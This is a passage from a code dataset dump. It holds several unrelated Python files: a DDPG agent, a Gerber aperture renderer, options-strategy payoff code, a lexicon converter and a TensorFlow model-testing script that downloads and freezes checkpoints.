(w/ Target Network)\n self.actor_local = Actor(state_size, action_size, random_seed,).to(device)\n self.actor_target = Actor(state_size, action_size, random_seed).to(device)\n self.actor_optimizer = optim.Adam(self.actor_local.parameters(), lr=LR_ACTOR)\n\n # Critic Network (w/ Target Network)\n self.critic_local = Critic(state_size, action_size, random_seed).to(device)\n self.critic_target = Critic(state_size, action_size, random_seed).to(device)\n self.critic_optimizer = optim.Adam(self.critic_local.parameters(), lr=LR_CRITIC, weight_decay=WEIGHT_DECAY)\n\n # This shouldn't make any difference\n self.soft_update(self.actor_local, self.actor_target, 1)\n self.soft_update(self.critic_local, self.critic_target, 1)\n\n # Noise process\n self.noise = OUNoise(action_size, random_seed)\n self.epsilon = EPSILON\n\n # Control update frequency\n self.update_count = 0\n\n # Replay memory\n self.memory = ReplayBuffer(action_size, BUFFER_SIZE, BATCH_SIZE, random_seed)\n \n def step(self, state, action, reward, next_state, done):\n \"\"\"Save experience in replay memory, and use random sample from buffer to learn.\"\"\"\n # Save experience / reward\n self.memory.add(state, action, reward, next_state, done)\n\n # Trigger learning every UPDATE_EVERY time steps\n self.update_count = (self.update_count + 1) % UPDATE_EVERY\n\n # Learn, if enough samples are available in memory\n if len(self.memory) > BATCH_SIZE and self.update_count == 0:\n # Update a few times\n for _ in range(UPDATE_TIMES):\n experiences = self.memory.sample()\n self.learn(experiences, GAMMA)\n\n def act(self, state, add_noise=True):\n \"\"\"Returns actions for given state as per current policy.\"\"\"\n state = torch.from_numpy(state).float().to(device)\n self.actor_local.eval()\n with torch.no_grad():\n action = self.actor_local(state).cpu().data.numpy()\n self.actor_local.train()\n \n # Add noise to control exploration\n if add_noise:\n self.epsilon -= EPSILON_DECAY\n action += self.noise.sample() * np.maximum(self.epsilon, 0.1)\n return np.clip(action, -1, 1)\n\n def reset(self):\n self.noise.reset()\n\n def learn(self, experiences, gamma):\n \"\"\"Update policy and value parameters using given batch of experience tuples.\n Q_targets = r + γ * critic_target(next_state, actor_target(next_state))\n where:\n actor_target(state) -> action\n critic_target(state, action) -> Q-value\n\n Params\n ======\n experiences (Tuple[torch.Tensor]): tuple of (s, a, r, s', done) tuples \n gamma (float): discount factor\n \"\"\"\n states, actions, rewards, next_states, dones = experiences\n\n # ---------------------------- update critic ---------------------------- #\n # Get predicted next-state actions and Q values from target models\n actions_next = self.actor_target(next_states)\n Q_targets_next = self.critic_target(next_states, actions_next)\n # Compute Q targets for current states (y_i)\n Q_targets = rewards + (gamma * Q_targets_next * (1 - dones))\n # Compute critic loss\n Q_expected = self.critic_local(states, actions)\n critic_loss = F.mse_loss(Q_expected, Q_targets)\n # Minimize the loss\n self.critic_optimizer.zero_grad()\n critic_loss.backward()\n \n # Perform gradient clipping\n torch.nn.utils.clip_grad_norm_(self.critic_local.parameters(), 1)\n \n self.critic_optimizer.step()\n\n # ---------------------------- update actor ---------------------------- #\n # Compute actor loss\n actions_pred = self.actor_local(states)\n actor_loss = -self.critic_local(states, actions_pred).mean()\n # Minimize the loss\n self.actor_optimizer.zero_grad()\n actor_loss.backward()\n self.actor_optimizer.step()\n\n # ----------------------- update target networks ----------------------- #\n self.soft_update(self.critic_local, self.critic_target, TAU)\n self.soft_update(self.actor_local, self.actor_target, TAU) \n\n def soft_update(self, local_model, target_model, tau):\n \"\"\"Soft update model parameters.\n θ_target = τ*θ_local + (1 - τ)*θ_target\n\n Params\n ======\n local_model: PyTorch model (weights will be copied from)\n target_model: PyTorch model (weights will be copied to)\n tau (float): interpolation parameter \n \"\"\"\n for target_param, local_param in zip(target_model.parameters(), local_model.parameters()):\n target_param.data.copy_(tau*local_param.data + (1.0-tau)*target_param.data)\n\n \ndef randomly_move():\n # Only for demo the usage of env\n env_info = env.reset(train_mode=True)[brain_name] # reset the environment\n state = env_info.vector_observations[0] # get the current state\n score = 0 # initialize the score\n while True:\n action = np.random.rand(action_size) # select an action\n env_info = env.step(action)[brain_name] # send the action to the environment\n next_state = env_info.vector_observations[0] # get the next state\n reward = env_info.rewards[0] # get the reward\n done = env_info.local_done[0] # see if episode has finished\n score += reward # update the score\n state = next_state # roll over the state to next time step\n if done: # exit loop if episode finished\n break\n \n print(\"Score: {}\".format(score))\n\n\ndef ddpg(n_episodes=2000, max_t=700):\n scores_deque = deque(maxlen=100)\n scores = []\n max_score = -np.Inf\n agent.reset()\n for i_episode in range(1, n_episodes+1):\n env_info = env.reset(train_mode=True)[brain_name]\n state = env_info.vector_observations[0]\n\n #print(state) \n #state = env.reset()\n \n score = 0\n for t in range(max_t):\n action = agent.act(state)\n \n # take action, observe reward, get next_state\n env_info = env.step(action)[brain_name]\n \n next_state = env_info.vector_observations[0]\n reward = env_info.rewards[0]\n done = int(env_info.local_done[0])\n score += reward \n \n agent.step(state, action, reward, next_state, done)\n \n # For the next t\n state = next_state\n \n if done:\n break \n \n scores_deque.append(score)\n scores.append(score)\n #print('\\rEpisode {}\\tAverage Score: {:.2f}\\tScore: {:.2f}'.format(i_episode, np.mean(scores_deque), score), end=\"\")\n if i_episode % 5 == 0:\n torch.save(agent.actor_local.state_dict(), 'checkpoint_actor.pth')\n torch.save(agent.critic_local.state_dict(), 'checkpoint_critic.pth')\n return scores\n\n \n#%% \nif __name__ == '__main__':\n env = UnityEnvironment(file_name=r'Reacher_windows_x86_64\\Reacher.exe')\n \n brain_name = env.brain_names[0]\n brain = env.brains[brain_name]\n \n # reset the environment\n env_info = env.reset(train_mode=True)[brain_name]\n \n # number of agents in the environment\n print('Number of agents:', len(env_info.agents))\n \n # number of actions\n action_size = brain.vector_action_space_size\n print('Number of actions:', action_size)\n \n # examine the state space \n state = env_info.vector_observations[0]\n print('States look like:', state)\n state_size = len(state)\n print('States have length:', state_size)\n\n agent = Agent(state_size=state_size, action_size=action_size, random_seed=2)\n\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n \n if False:\n randomly_move()\n else:\n scores = ddpg(1000, 1000)\n\n score_df = pd.DataFrame({'Score': scores})\n average_score = score_df['Score'].rolling(window=100).mean()\n\n plt.figure(figsize=[8,6])\n plt.plot(np.arange(1, len(scores)+1), scores)\n plt.plot(np.arange(1, len(scores)+1), average_score)\n plt.ylabel('Score')\n plt.xlabel('Episode #')\n plt.legend(['Score', 'Average Score'])\n plt.grid(True)\n\n\n\n\n\n\n\n# %%\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":16110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402435118","text":"class BigRandom:\n def __init__(self):\n self.data = \"data.txt\"\n # add attributes if you need more\n\n def answer(self):\n noh, suc = 0, 0\n nom = ''.join([str(x) for x in range(10000)])\n for line in self.data.readline():\n noh = 0\n suc = 0 \n\n # your algorithm\n\n return (noh - 10000 ,suc - (ord('#') * 10000 + sum([ord(x) for x in nom])))\n\n # add methods if you need more\n","sub_path":"bigrandom/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467167283","text":"# -*- coding: utf-8 -*-\nfrom __future__ import annotations\n\nfrom functools import cached_property\nfrom typing import Tuple\n\nfrom PIL import Image, ImageDraw\n\nfrom pygerber.mathclasses import BoundingBox, Vector2D\nfrom pygerber.parser.pillow.apertures.util import PillowUtilMethdos\nfrom pygerber.renderer.spec import FlashSpec\n\n\nclass FlashUtilMixin(PillowUtilMethdos):\n aperture_stamp_clear: Image.Image\n aperture_stamp_dark: Image.Image\n aperture_mask: Image.Image\n canvas: Image.Image\n draw_canvas: ImageDraw.ImageDraw\n hole_diameter: float\n hole_radius: float\n\n @cached_property\n def hole_diameter(self) -> float:\n return int(self._prepare_co(self.HOLE_DIAMETER))\n\n @cached_property\n def hole_radius(self) -> float:\n return int(self._prepare_co(self.HOLE_DIAMETER) / 2)\n\n @cached_property\n def aperture_mask(self) -> Image.Image:\n aperture_mask, aperture_mask_draw = self.__get_aperture_canvas()\n self.draw_shape(aperture_mask_draw, (255, 255, 255, 255))\n if self.hole_diameter:\n aperture_mask_draw.ellipse(\n self.get_aperture_hole_bbox().as_tuple_y_inverse(),\n (0, 0, 0, 0),\n )\n return aperture_mask\n\n @cached_property\n def aperture_stamp_dark(self) -> Image.Image:\n aperture_stamp, aperture_stamp_draw = self.__get_aperture_canvas()\n self.draw_shape(aperture_stamp_draw, self.get_dark_color())\n return aperture_stamp\n\n @cached_property\n def aperture_stamp_clear(self) -> Image.Image:\n aperture_stamp, aperture_stamp_draw = self.__get_aperture_canvas()\n self.draw_shape(aperture_stamp_draw, self.get_clear_color())\n return aperture_stamp\n\n def draw_shape(self, aperture_stamp_draw: ImageDraw.Draw, color: Tuple):\n raise NotImplementedError(\n f\"Implement draw_shape(...) in subclass of {self.__class__.__qualname__}\"\n )\n\n def __get_aperture_canvas(self) -> Image.Image:\n canvas = Image.new(\n \"RGBA\",\n self.__get_aperture_canvas_size(),\n (0, 0, 0, 0),\n )\n canvas_draw = ImageDraw.Draw(canvas)\n return canvas, canvas_draw\n\n def __get_aperture_canvas_size(self) -> Tuple[float, float]:\n return int(self.pixel_bbox.width() + 1), int(self.pixel_bbox.height() + 1)\n\n def get_aperture_bbox(self) -> Tuple[float]:\n return 0, 0, self.pixel_bbox.width() - 1, self.pixel_bbox.height() - 1\n\n @cached_property\n def pixel_bbox(self):\n bbox = self.bbox()\n return BoundingBox(\n self._prepare_co(bbox.left),\n self._prepare_co(bbox.lower),\n self._prepare_co(bbox.right),\n self._prepare_co(bbox.upper),\n )\n\n def flash_offset(self):\n return Vector2D(\n self.pixel_bbox.width() / 2, self.pixel_bbox.height() / 2\n ).floor()\n\n def flash(self, spec: FlashSpec) -> None:\n self.prepare_flash_spec(spec)\n self.flash_at_location(spec.location)\n\n def flash_at_location(self, location: Vector2D) -> None:\n offset_to_center = location - self.flash_offset()\n if self.is_clear():\n self.canvas.paste(\n self.aperture_stamp_clear,\n offset_to_center.as_tuple(),\n self.aperture_mask,\n )\n else:\n self.canvas.paste(\n self.aperture_stamp_dark,\n offset_to_center.as_tuple(),\n self.aperture_mask,\n )\n\n def get_aperture_hole_bbox(self) -> BoundingBox:\n return BoundingBox(\n 0, 0, self.hole_diameter - 1, self.hole_diameter - 1\n ).transform(\n self.flash_offset()\n - Vector2D(\n self.hole_radius,\n self.hole_radius,\n )\n )\n","sub_path":"src/pygerber/parser/pillow/apertures/flash_mixin.py","file_name":"flash_mixin.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"160522324","text":"from torchvision.models.resnet import resnet34\nimport torch\nfrom torch.nn import Sequential, Dropout, Linear, ReLU, Softmax, Sigmoid\nfrom util_types import types_of_loco\nfrom torch.serialization import load\n\ndef builder(\n class_num: int,\n img_size: types_of_loco.input_img_size = 28,\n channels: int = 3,\n) -> torch.nn.Module:\n base_model = resnet34(pretrained=True)\n num_ftrs = base_model.fc.in_features\n if class_num > 2:\n base_model.fc = Sequential(\n Dropout(0.2),\n Linear(num_ftrs, class_num) )\n else:\n base_model.classifier = Sequential(\n Dropout(0.2),\n Linear(num_ftrs, 1)\n )\n return base_model\n\n","sub_path":"network_model/model_base/Resnet34ImageNetPTOutputLinear.py","file_name":"Resnet34ImageNetPTOutputLinear.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"547412637","text":"import csv\n\ntext = []\n\nwith open('submit2.csv', 'r') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n string = row[0]\n newrow = string.split()\n text.append(newrow)\n \n\nwith open('submit2_new.csv', 'w') as csvfile:\n j = 0\n fieldnames = ['ImageId', 'Label']\n writer = csv.DictWriter(csvfile, fieldnames = fieldnames)\n \n writer.writeheader()\n \n for i in text:\n if not j == 0:\n writer.writerow({'ImageId' : i[0], 'Label' : i[1]})\n j += 1\n","sub_path":"cnn_naive/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"259092800","text":"#! /usr/bin/env python\n\n# Load Libraries\nimport matplotlib as mpl\nmpl.use('SVG')\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\nimport seaborn as sns\nsns.set(style='ticks',context='talk')\nimport bootstrap_contrast as bsc\n\nimport pandas as pd\nimport numpy as np\nimport scipy as sp\n\n# Dummy dataset\ndataset=list()\nfor seed in [10,11,12,13,14,15]:\n np.random.seed(seed) # fix the seed so we get the same numbers each time.\n dataset.append(np.random.randn(40))\ndf=pd.DataFrame(dataset).T\ncols=['Control','Group1','Group2','Group3','Group4','Group5']\ndf.columns=cols\n# Create some upwards/downwards shifts.\ndf['Group2']=df['Group2']-0.1\ndf['Group3']=df['Group3']+0.2\ndf['Group4']=(df['Group4']*1.1)+4\ndf['Group5']=(df['Group5']*1.1)-1\n# Add gender column.\ndf['Gender']=np.concatenate([np.repeat('Male',20),np.repeat('Female',20)])\n\n# bsc.__version__\n\nf,c=bsc.contrastplot(data=df,\n idx=(('Group1','Group3','Group2'),\n ('Control','Group4')),\n color_col='Gender',\n custom_palette={'Male':'blue',\n 'Female':'red'},\n float_contrast=True,\n swarm_label='my swarm',\n contrast_label='contrast',\n show_means='bars',\n means_width=0.5,\n show_std=True,\n fig_size=(10,8))\n\nf.savefig('testfig.svg',format='svg')\n","sub_path":"test_run.py","file_name":"test_run.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"556876817","text":"import pandas as pd\nimport numpy as np\nfrom io import StringIO\nimport boto3\n\n\ndef missing_strikes(query, strategy):\n\n strike = int(query['strike'])\n\n if strategy == 'Calls' or strategy == 'Puts':\n return []\n elif strategy == 'Straddles' or strategy == 'Straps' or strategy == 'Strips' or strategy == 'Calendar-Spreads':\n return []\n elif strategy == 'Bear-Spreads':\n return [strike - 5]\n elif strategy == 'Bull-Spreads':\n return [strike + 5]\n elif strategy == 'Butterfly-Spreads':\n return [strike - 2, strike + 2]\n elif strategy == 'Strangles':\n return [strike - 3, strike + 3]\n else:\n return []\n\n\ndef strategy_payoff(query, df, index, strategy, cost):\n\n if str(cost) == '':\n return ''\n\n length = int(query['option_length'])\n new_index = index + length\n df_length = len(df)\n\n if new_index >= df_length:\n return ''\n\n strike = int(query['strike'])\n ratio = strike / 100\n\n strike_price = df['Price'][index] * ratio\n expiration_price = df['Price'][new_index]\n\n if strategy == 'Straddles' or strategy == 'Straps' or strategy == 'Strips':\n\n dec_payoff = strike_price - expiration_price\n inc_payoff = expiration_price - strike_price\n\n if strategy == 'Straps':\n inc_payoff = 2 * inc_payoff\n elif strategy == 'Strips':\n dec_payoff = 2 * dec_payoff\n\n if strike_price > expiration_price:\n return dec_payoff - cost\n elif expiration_price > strike_price:\n return inc_payoff - cost\n else:\n return ''\n\n elif strategy == 'Bear-Spreads' or strategy == 'Bull-Spreads':\n if strategy == 'Bear-Spreads':\n if expiration_price < (strike - 5):\n return 5 - cost\n elif (strike - 5) <= expiration_price <= strike:\n return strike - expiration_price - cost\n elif strike < expiration_price:\n return -cost\n else:\n return ''\n else:\n if expiration_price < strike:\n return -cost\n elif strike <= expiration_price <= (strike + 5):\n return expiration_price - strike - cost\n elif (strike + 5) < expiration_price:\n return 5 - cost\n else:\n return ''\n\n elif strategy == 'Butterfly-Spreads':\n low_call = (ratio - .02) * df['Price'][index]\n high_call = (ratio + .02) * df['Price'][index]\n\n if expiration_price < low_call or expiration_price > high_call:\n x = -cost\n return x\n elif low_call <= expiration_price < strike:\n x = expiration_price - low_call - cost\n return x\n elif strike <= expiration_price <= high_call:\n x = high_call - expiration_price - cost\n return x\n else:\n return ''\n\n elif strategy == 'Strangles':\n put = (ratio - .03) * df['Price'][index]\n call = (ratio + .03) * df['Price'][index]\n\n if expiration_price <= put:\n return put - expiration_price - cost\n elif put < expiration_price < call:\n return -cost\n elif call <= expiration_price:\n return expiration_price - call - cost\n else:\n return ''\n\n else:\n return ''\n\n\ndef compute(query, query_file, strategy):\n strike = int(query['strike'])\n call = str(strike) + '-Calls'\n put = str(strike) + '-Puts'\n\n df = pd.read_csv(query_file)\n\n m = []\n p = []\n r = []\n\n for index in range(len(df)):\n\n cost = ''\n profit = ''\n returns = ''\n\n if not np.isnan(df[call][index]) and not np.isnan(df[put][index]):\n if strategy == 'Straddles':\n cost = df[call][index] + df[put][index]\n elif strategy == 'Straps':\n cost = 2 * df[call][index] + df[put][index]\n elif strategy == 'Strips':\n cost = df[call][index] + (2 * df[put][index])\n elif strategy == 'Bear-Spreads':\n short_strike = strike - 5\n short_put = str(short_strike) + '-Puts'\n cost = df[put][index] - df[short_put][index]\n elif strategy == 'Bull-Spreads':\n short_strike = strike + 5\n short_call = str(short_strike) + '-Calls'\n cost = df[call][index] - df[short_call][index]\n elif strategy == 'Butterfly-Spreads':\n low_call_strike = strike - 2\n high_call_strike = strike + 2\n low_call = str(low_call_strike) + '-Calls'\n high_call = str(high_call_strike) + '-Calls'\n cost = df[low_call][index] + df[high_call][index] - (2 * df[call][index])\n elif strategy == 'Strangles':\n put_strike = strike - 3\n call_strike = strike + 3\n long_call = str(call_strike) + '-Calls'\n long_put = str(put_strike) + '-Puts'\n cost = df[long_call][index] + df[long_put][index]\n\n profit = strategy_payoff(query, df, index, strategy, cost)\n\n if profit == '' or cost == '':\n returns = ''\n else:\n returns = 100 * profit / cost\n\n m.append(cost)\n p.append(profit)\n r.append(returns)\n\n strike = str(strike)\n method = strike + '-' + strategy\n payoff = method + '-P'\n ROI = method + '-ROI'\n d = {method: m, payoff: p, ROI: r}\n\n new_df = pd.DataFrame.from_dict(d)\n df = pd.concat([df, new_df], axis=1)\n\n bucket = query['S3_info']['bucket']\n csv_name = query['source'] + '-' + query['option_length'] + '.csv'\n csv_buffer = StringIO()\n df.to_csv(csv_buffer)\n s3_resource = boto3.resource('s3')\n s3_resource.Object(bucket, csv_name).put(Body=csv_buffer.getvalue())\n return\n","sub_path":"pricing/strategies.py","file_name":"strategies.py","file_ext":"py","file_size_in_byte":5901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"572485230","text":"from collections import defaultdict\r\n\r\ndef lexicon_convert(in_file, verbose=True):\r\n \"\"\"\r\n Converts the Perl hash to a Python dict\r\n \"\"\"\r\n \r\n convert = {'POS':1, 'NEG':-1, 'NEUT':0, 'NEU':0} # INT, SHI\r\n tagset = ['N', 'AJ', 'V', 'NE', 'XY', 'ADJA', 'AV', 'CARD', 'FM', 'PTKVZ', 'APPR', 'PIS', 'KON', 'TRUNC', 'PROAV', 'KOUS', 'PDS', 'APPRART', 'NOOJ', 'PWAV', 'PPER', 'PPOSAT', 'PWS', 'PTKNEG', 'PRF', 'KOUI', 'ITJ', 'PTKA', 'PIAT', 'PIDAT', 'ART', 'ADV']\r\n \r\n lexicon = defaultdict(dict)\r\n \r\n if verbose:\r\n print(\"Loading data...\")\r\n \r\n with open(in_file, 'r', encoding='utf-8') as f:\r\n for i in range(9):\r\n f.readline()\r\n while True:\r\n try:\r\n word = f.readline().split('\"',2)[1].lower()\r\n except IndexError:\r\n break\r\n while True:\r\n try:\r\n source = f.readline().split('\"',2)[1].split('::',1)[1].split('.',1)[0]\r\n except IndexError:\r\n break\r\n while True:\r\n try:\r\n pos = f.readline().split('\"',2)[1].split('::',1)[1]\r\n except IndexError:\r\n break\r\n rankstring = f.readline().rsplit('\"',2)[1]\r\n if rankstring == '-':\r\n rank = None\r\n else:\r\n rank = float(rankstring)\r\n valstring = f.readline().rsplit('\"',2)[1]\r\n try:\r\n val = convert[valstring]\r\n except KeyError:\r\n f.readline()\r\n continue\r\n if val == 0:\r\n lexicon[word+'_'+pos][source] = 0\r\n else:\r\n if rank == None:\r\n lexicon[word+'_'+pos][source] = valstring\r\n elif rank == 0:\r\n lexicon[word+'_'+pos][source] = valstring+'0'\r\n else:\r\n lexicon[word+'_'+pos][source] = rank*val\r\n #print(source, word, pos, val, rank)\r\n f.readline()\r\n if verbose:\r\n print('Done!')\r\n return lexicon\r\n\r\nif __name__ == '__main__':\r\n import pickle\r\n lex = lexicon_convert('../../data/merged_lex_hash.pm')\r\n with open('../../data/raw_lexicon.pk', 'wb') as f:\r\n pickle.dump(lex, f)","sub_path":"src/main/lexicon_convert.py","file_name":"lexicon_convert.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"642488954","text":"fhr = open (\"empdata.dat\",\"r\")\n\n\nfor line in fhr:\n str2=line\n \n print(str2)\n empno = int(str2.split(\":\")[0])\n empname = str2.split(\":\")[1]\n sal = int(str2.split(\":\")[2])\n des = str2.split(\":\")[3]\n des=des.rstrip(\"\\n\")\n if (des ==\"Manager\"):\n sal = sal+2000 \n elif des==\"Analyst\":\n sal = sal + 1500\n else:\n sal = sal+1000\n\n print (\"Emp no: \",empno,\"\\nEmp name: \", empname,\"\\nSalary with Bonus: \",sal,\"\\nDesignation: \",des)\n\nprint(\"============================\")\nfhr.close()","sub_path":"Three/File handling Qs/EmployeeRead.py","file_name":"EmployeeRead.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"337142874","text":"# -*- coding: UTF-8 -*-\nimport os\nimport sys\nimport subprocess\nimport argparse\nimport re\nimport configparser\nimport logging\nimport copy\nimport psutil\n\nif sys.version_info[0] < 3:\n import struct\n\nimport tensorflow as tf\nfrom tensorflow.core.framework import graph_pb2\n\n# level=logging.INFO only logging.debug info,level=logging.DEBUG may logging.debug debug and info\nlogging.basicConfig(level=logging.INFO)\n\n\n# Global configuration mainly got from test.cfg\nTRANSFORMER_PATH = ''\nTF_SRC_PATH = ''\nTF_SLIM_PATH= '' \n\nNUM_THREADS = 1\nEPSILON = 0.0\nLOOPS = 1\n\ntestcases = []\n\nclass TestCase(object):\n def __init__(self):\n self.model_name = ''\n self.model_type = ''\n self.url = ''\n self.output_node = ''\n\n # Some checkpoint cannot be frozen without fix\n self.fix_graph = False\n\n # File path of checkpoint (.ckpt)\n self.ckpt_file = None\n # File path of inference graph, generated by export_inference_graph.py \n self.graph_file = None\n # File path of frozen pb, generated by freeze_graph\n self.frozen_file = None\n # File path where to save the transformed model\n self.save_model_dir = None\n\n\n def __repr__(self):\n return '[%s]\\ntype=%s\\nurl=%s\\noutput_node=%s\\nfix_graph=%r' % \\\n (self.model_name, self.model_type, self.url, self.output_node, self.fix_graph)\n\n\ndef exec_cmd(cmd, title, check_output=True):\n logging.info(title)\n logging.debug(cmd)\n if check_output:\n out = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)\n return out \n else:\n text = os.popen(cmd)\n out = text.read()\n return out\n\n\ndef get_extract_command(filename, target_path):\n if filename.endswith('.tar.gz'):\n extract_file = 'tar -xzf %s -C %s' % (filename, target_path)\n elif filename.endswith('.tar.bz2'):\n extract_file = 'tar -xjf %s -C %s' % (filename, target_path)\n else:\n extract_file = 'tar -xf %s -C %s' % (filename, target_path)\n return extract_file\n \n\ndef decode_string(str):\n str = str.decode('UTF-8')\n return str\n\n\n# Find a ckpt file in a directory, and return the path of ckpt file\ndef find_ckpt(ckpt_dir):\n ckpt_file = None\n\n files = os.listdir(ckpt_dir)\n for f in files:\n if f.endswith('.ckpt'):\n ckpt_file = f\n break\n\n return os.path.join(ckpt_dir, ckpt_file) if ckpt_file else None\n \n\ndef download_ckpt(tc):\n ckpt_dir = '%s/checkpoints/%s' % (TRANSFORMER_PATH, tc.model_name)\n tc.graph_file = '%s/%s_inf_graph.pb' % (ckpt_dir, tc.model_name)\n tc.frozen_file = '%s/frozen_%s.pb' % (ckpt_dir, tc.model_name)\n tc.save_model_dir = '%s/saved_model/%s' % (TRANSFORMER_PATH, tc.model_name)\n\n # Look for existing ckpt file\n if os.path.exists(ckpt_dir):\n tc.ckpt_file = find_ckpt(ckpt_dir)\n else:\n os.makedirs(ckpt_dir)\n\n # Already exist\n if tc.ckpt_file:\n logging.debug(\"ckpt file (%s) already exist!\" % tc.ckpt_file)\n return\n\n tar_name = tc.url.split('/')[-1]\n download_cmd = 'wget -c %s' % tc.url\n extract_cmd = get_extract_command(tar_name, ckpt_dir)\n rm_cmd = 'rm -f %s' % tar_name\n \n exec_cmd(download_cmd, \"download ckpt file ...\")\n exec_cmd(extract_cmd, \"untar ckpt file ...\")\n exec_cmd(rm_cmd, \"delete ckpt archieve ...\")\n logging.debug(\"ckpt file has been download!\")\n\n tc.ckpt_file = find_ckpt(ckpt_dir)\n\n \ndef export_inference_graph(tc):\n if os.path.isfile(tc.graph_file):\n logging.debug(\"graph file of %s already exist!\" % tc.model_name)\n else:\n export_cmd = 'cd %s && python export_inference_graph.py --alsologtostderr --model_name=%s --output_file=%s' % (TF_SLIM_PATH, tc.model_name, tc.graph_file)\n exec_cmd(export_cmd, \"export graph.pb\")\n logging.debug(\"%s has been exported!\" % tc.graph_file)\n\n\ndef summarize_graph(tc):\n bazel_build = 'cd %s && bazel build tensorflow/tools/graph_transforms:summarize_graph' % TF_SRC_PATH\n summarize_graph = 'cd %s && bazel-bin/tensorflow/tools/graph_transforms/summarize_graph --in_graph=%s' % (TF_SRC_PATH, tc.graph_file)\n exec_cmd(bazel_build, \"bazel build ...\")\n exec_cmd(summarize_graph, \"summarize graph ...\")\n logging.debug(\"summarize graph has been done!\")\n\n\ndef load_graph(filename):\n graph_def = tf.GraphDef()\n with tf.gfile.FastGFile(filename, 'rb') as f:\n graph_def.ParseFromString(f.read())\n return graph_def\n\n\ndef change_tensor_shape(tensor_shape):\n dims = len(tensor_shape.dim)\n if dims == 4 and tensor_shape.dim[3].size == 1001:\n tensor_shape.dim[3].size = 1000\n #print(\"shape changed, shape=%s\" % str(tensor_shape))\n if dims == 1 and tensor_shape.dim[0].size == 1001:\n tensor_shape.dim[0].size = 1000\n #print(\"shape changed, shape=%s\" % str(tensor_shape))\n \n\ndef int_to_bytes(val):\n if sys.version_info[0] >= 3:\n return val.to_bytes(4, 'little')\n else:\n return struct.pack(\"= 3:\n return int.from_bytes(barray, byteorder='little')\n else:\n return struct.unpack(\"= 3 and tensor.dtype <= 6: # data type is int\n tensor_shape = tensor.tensor_shape\n # Change tensor like: {\"tensor\":{\"dtype\":\"DT_INT32\",\"tensor_shape\":{\"dim\":[{\"size\":4}]},\"tensor_content\":\"\\\\001\\\\000\\\\000\\\\000\\\\001\\\\000\\\\000\\\\000\\\\000\\\\020\\\\000\\\\000\\\\350\\\\003\\\\000\\\\000\"}}\n if len(tensor_shape.dim) == 1 and tensor_shape.dim[0].size == 4:\n element_size = (int)(len(tensor.tensor_content) / 4)\n shape = [0, 0, 0, 0]\n for i in range(4):\n shape[i] = int_from_bytes(tensor.tensor_content[i*element_size: (i+1)*element_size])\n # 1x1x2048x1001 -> 1x1x2048x1000, etc.\n if shape[3] == 1001:\n shape[3] = 1000\n content = int_to_bytes(shape[0]) + int_to_bytes(shape[1]) + int_to_bytes(shape[2]) + int_to_bytes(shape[3]);\n tensor.tensor_content = content\n # Change tensor like: {\"tensor\":{\"dtype\":\"DT_INT32\",\"tensor_shape\":{\"dim\":[{\"size\":2}]},\"tensor_content\":\"\\\\377\\\\377\\\\377\\\\377\\\\351\\\\003\\\\000\\\\000\"}}\n if len(tensor_shape.dim) == 1 and tensor_shape.dim[0].size == 2:\n element_size = (int)(len(tensor.tensor_content) / 2)\n shape = [0, 0]\n for i in range(2):\n shape[i] = int_from_bytes(tensor.tensor_content[i*element_size: (i+1)*element_size])\n # -1x1001 -> -1x1000, etc.\n if shape[1] == 1001:\n shape[1] = 1000\n content = int_to_bytes(shape[0]) + int_to_bytes(shape[1]);\n tensor.tensor_content = content\n # Change tensor like: {\"tensor\":{\"dtype\":\"DT_INT32\",\"tensor_shape\":{\"dim\":[{\"size\":1}]},\"int_val\":1000}}\n if len(tensor_shape.dim) == 1 and tensor_shape.dim[0].size == 1 and len(tensor.int_val) == 1:\n if tensor.int_val[0] == 1001:\n tensor.int_val[0] = 1000\n \n # Check shape attribute\n shape_value = node.attr.get('shape')\n if shape_value:\n change_tensor_shape(shape_value.shape)\n \n new_graph_def.node.extend([copy.deepcopy(node)])\n \n # save new graph\n with tf.gfile.GFile(pb_file, \"wb\") as f:\n f.write(new_graph_def.SerializeToString())\n\n\ndef frozen_pb(tc):\n if os.path.exists(tc.frozen_file):\n logging.debug(\"frozen pb file exist\")\n else:\n bazel_build = 'cd %s && bazel build tensorflow/python/tools:freeze_graph' % TF_SRC_PATH\n frozen_cmd = 'cd %s && bazel-bin/tensorflow/python/tools/freeze_graph --input_graph=%s --input_checkpoint=%s --input_binary=true --output_graph=%s --output_node_names=%s' % \\\n (TF_SRC_PATH, tc.graph_file, tc.ckpt_file, tc.frozen_file, tc.output_node)\n exec_cmd(bazel_build, \"bazel build ...\")\n exec_cmd(frozen_cmd, \"frozen pb ...\")\n logging.debug(\"frozen has been done!\")\n\n\n\ndef tf_inference(tc, inference_input):\n if inference_input == 'data':\n do_inference = 'cd %s/tests && OMP_NUM_THREADS=%d python pb_inference.py --pb_file=%s --output_node=%s --batch_size=1 --loop=%d' % \\\n (TRANSFORMER_PATH, NUM_THREADS, tc.frozen_file, tc.output_node, LOOPS)\n else:\n do_inference = 'cd %s/tests && OMP_NUM_THREADS=%d python pb_inference.py --pb_file=%s --output_node=% --batch_size=1 --loop=%d --picture=%s' % \\\n (TRANSFORMER_PATH, 